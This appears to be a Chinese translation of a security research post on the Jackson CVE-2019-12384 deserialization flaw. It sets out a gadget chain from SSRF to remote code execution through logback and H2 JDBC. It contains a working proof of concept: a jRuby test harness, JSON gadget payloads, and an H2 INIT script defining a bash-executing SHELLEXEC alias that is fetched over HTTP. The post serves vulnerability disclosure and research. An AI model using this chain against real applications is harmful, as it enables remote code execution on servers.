Jackson反序列化漏洞深度剖析:从SSRF到RCE攻击链揭秘

本文深入分析了Jackson库CVE-2019-12384反序列化漏洞的利用机制,详细介绍了如何通过精心构造的gadget链实现服务器端请求伪造和远程代码执行,并提供了完整的攻击演示和防御建议。

Jackson gadgets - 漏洞剖析

2019年7月22日 - 作者:Andrea Brancaleoni

Jackson CVE-2019-12384:一类漏洞的解剖

在一次安全评估中,我们分析了一个使用Jackson库进行JSON反序列化的应用程序。在该场景中,我们发现了一个反序列化漏洞,攻击者可以控制要反序列化的类。本文旨在展示攻击者如何利用此类反序列化漏洞触发服务器端请求伪造(SSRF)和远程代码执行等攻击。

这项研究还导致了一个新的CVE-2019-12384的发现,以及一系列受影响的RedHat产品。

所需条件

正如Jackson作者在《关于Jackson CVE:不要惊慌——你需要知道什么》中所述,Jackson “gadget"漏洞的要求是:

(1) 应用程序接受来自不可信客户端的JSON内容(无论是手动组合还是由您未编写且无法控制和查看的代码生成)——这意味着您无法约束正在发送的JSON本身

(2) 应用程序对名义类型为java.lang.Object(或少数"宽松"标记接口之一,如java.io.Serializable、java.util.Comparable)的属性使用多态类型处理

(3) 应用程序在Java类路径中至少有一个特定的"gadget"类可供利用。具体来说,利用需要与Jackson配合使用的类。事实上,大多数gadget仅适用于特定库——例如,最常报告的gadget适用于JDK序列化

(4) 应用程序使用的Jackson版本尚未阻止特定的"gadget"类。已发布的gadget集合随着时间的推移而增长,因此这是在人们发现和报告gadget与补丁之间的竞赛。Jackson采用黑名单机制。反序列化是平台的"特性”,他们不断更新已知gadget的黑名单。

在这项研究中,我们假设前提条件(1)和(2)已满足。相反,我们专注于找到能够同时满足(3)和(4)的gadget。请注意,Jackson是Java应用程序中最常用的反序列化框架之一,其中多态性是一等概念。对于潜在攻击者来说,找到这些条件的成本为零,他们可以使用静态分析工具或其他动态技术(如在请求/响应中搜索@class)来找到这些目标。

战场准备

在研究过程中,我们开发了一个工具来协助发现此类漏洞。当Jackson反序列化ch.qos.logback.core.db.DriverManagerConnectionSource时,此类可被滥用来实例化JDBC连接。JDBC代表Java数据库连接。JDBC是用于连接和执行数据库查询的Java API,它是JavaSE(Java标准版)的一部分。此外,JDBC使用自动字符串到类的映射,因此它是加载和执行链中更多"gadget"的完美目标。

为了演示攻击,我们准备了一个包装器,在其中加载攻击者指定的任意多态类。对于环境,我们使用了jRuby,这是一个在Java虚拟机(JVM)上运行的Ruby实现。凭借其在JVM上的集成,我们可以轻松加载和实例化Java类。

我们将使用此设置轻松加载给定目录中的Java类,并准备Jackson环境以满足上述前两个要求(1,2)。为此,我们实现了以下jRuby脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
require 'java'
Dir["./classpath/*.jar"].each do |f|
    require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'

content = ARGV[0]

puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
puts "Serializing"
obj = mapper.readValue(content, java.lang.Object.java_class) # 调用所有setter
puts "objectified"
puts "stringified: " + mapper.writeValueAsString(obj)

脚本执行过程如下:

  • 第2行:加载"classpath"子目录中Java归档(JAR)文件包含的所有类
  • 第5-13行:配置Jackson以满足要求(#2)
  • 第14-17行:反序列化并重新序列化以JSON格式传递给jRuby的多态Jackson对象

备忘录:达到gadget

对于这项研究,我们决定使用Java社区广泛使用的gadget。为演示此攻击而目标的所有库都在Maven中央仓库的前100个最常见库中。

要跟随并准备攻击,您可以下载以下库并将其放入"classpath"目录:

  • jackson-databind-2.9.8
  • jackson-annotations-2.9.8
  • jackson-core-2.9.8
  • logback-core-1.3.0-alpha4
  • h2-1.4.199

需要注意的是,h2库不是执行SSRF所必需的,因为我们的经验表明,大多数Java应用程序至少加载一个JDBC驱动程序。JDBC驱动程序是类,当传入JDBC URL时,它们会自动实例化,并将完整URL作为参数传递给它们。

使用以下命令,我们将使用上述类路径调用先前的脚本:

1
$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:\"}]"

在脚本的第15行,Jackson将递归调用所有setter,使用子对象中包含的键。更具体地说,setUrl(String url)由Jackson反射库使用参数调用。在该阶段之后(第17行),完整对象再次序列化为JSON对象。此时,所有字段都直接序列化(如果未定义getter),或通过显式getter序列化。对我们来说,有趣的getter是getConnection()。

事实上,作为攻击者,我们对所有具有有趣副作用且我们能控制参数的"非纯"方法感兴趣。当调用getConnection时,会实例化一个内存数据库。由于应用程序生命周期短,从攻击者的角度来看,我们不会看到任何有意义的效果。为了做更有意义的事情,我们创建到远程数据库的连接。如果目标应用程序作为远程服务部署,攻击者可以生成服务器端请求伪造(SSRF)。以下截图是此场景的示例。

进入矩阵:从SSRF到RCE

正如您可能已经注意到的,这两种情况都会导致DoS和SSRF。虽然这些攻击可能影响应用程序安全性,但我们想向您展示一种简单有效的技术,将SSRF转变为完整链的RCE。

为了在应用程序上下文中获得完整的代码执行,我们利用了加载H2 JDBC驱动程序的能力。H2是一个超快速的SQL数据库,通常用作完整SQL数据库管理系统(如Postgresql、MSSql、MySql或OracleDB)的内存替代品。它易于配置,实际上支持多种模式,如内存、文件和远程服务器。H2具有从JDBC URL运行SQL脚本的能力,这是为了支持初始迁移的内存数据库而添加的。

仅凭这一点,攻击者无法在JVM上下文中实际执行Java代码。然而,H2由于是在JVM内部实现的,具有指定包含Java代码的自定义别名的能力。这正是我们可以滥用以执行任意代码的地方。

我们可以通过简单的HTTP服务器(例如python -m SimpleHttpServer)轻松提供以下inject.sql INIT文件:

1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('id > exploited.txt')

并使用以下命令运行测试程序:

1
2
3
4
$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"
...
$ cat exploited.txt
uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

瞧!

迭代式污点跟踪

利用反序列化漏洞是复杂的且需要时间。在进行产品安全审查时,时间限制可能使找到适当的gadget用于利用变得困难。另一方面,Jackson黑名单每月更新,而使用此机制的用户(例如企业应用程序)可能具有年度发布周期。

反序列化漏洞是典型的大海捞针问题。一方面,识别易受攻击的入口点是一项容易的任务,而找到有用的gadget可能耗时(且繁琐)。在Doyensec,我们开发了一种技术来找到有用的Jackson gadget,以促进后者的努力。

我们构建了一个静态分析工具,可以通过污点跟踪分析找到序列化gadget。我们设计它足够快,可以多次运行,并通过自定义和可扩展的规则集语言进行迭代/改进。平均而言,在2018款Macbook PRO i7上运行一次需要2分钟。

污点跟踪是一个热门的学术研究课题。学术研究工具专注于非常高的召回率和精确度。权衡在于高召回率/精确度与速度/内存之间。由于我们希望此工具在测试商业级产品时可用,并且我们重视工具本身的可定制性,因此我们专注于速度和可用性而不是高召回率。

虽然该工具受到其他研究(如flowdroid)的启发,但我们技术的重点不是排除人类分析师。相反,我们相信通过可定制的安全自动化来增强手动测试和利用。

这项研究得益于Doyensec的25%研究时间。请继续关注新剧集。就这样吧!保持警惕,注意安全!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计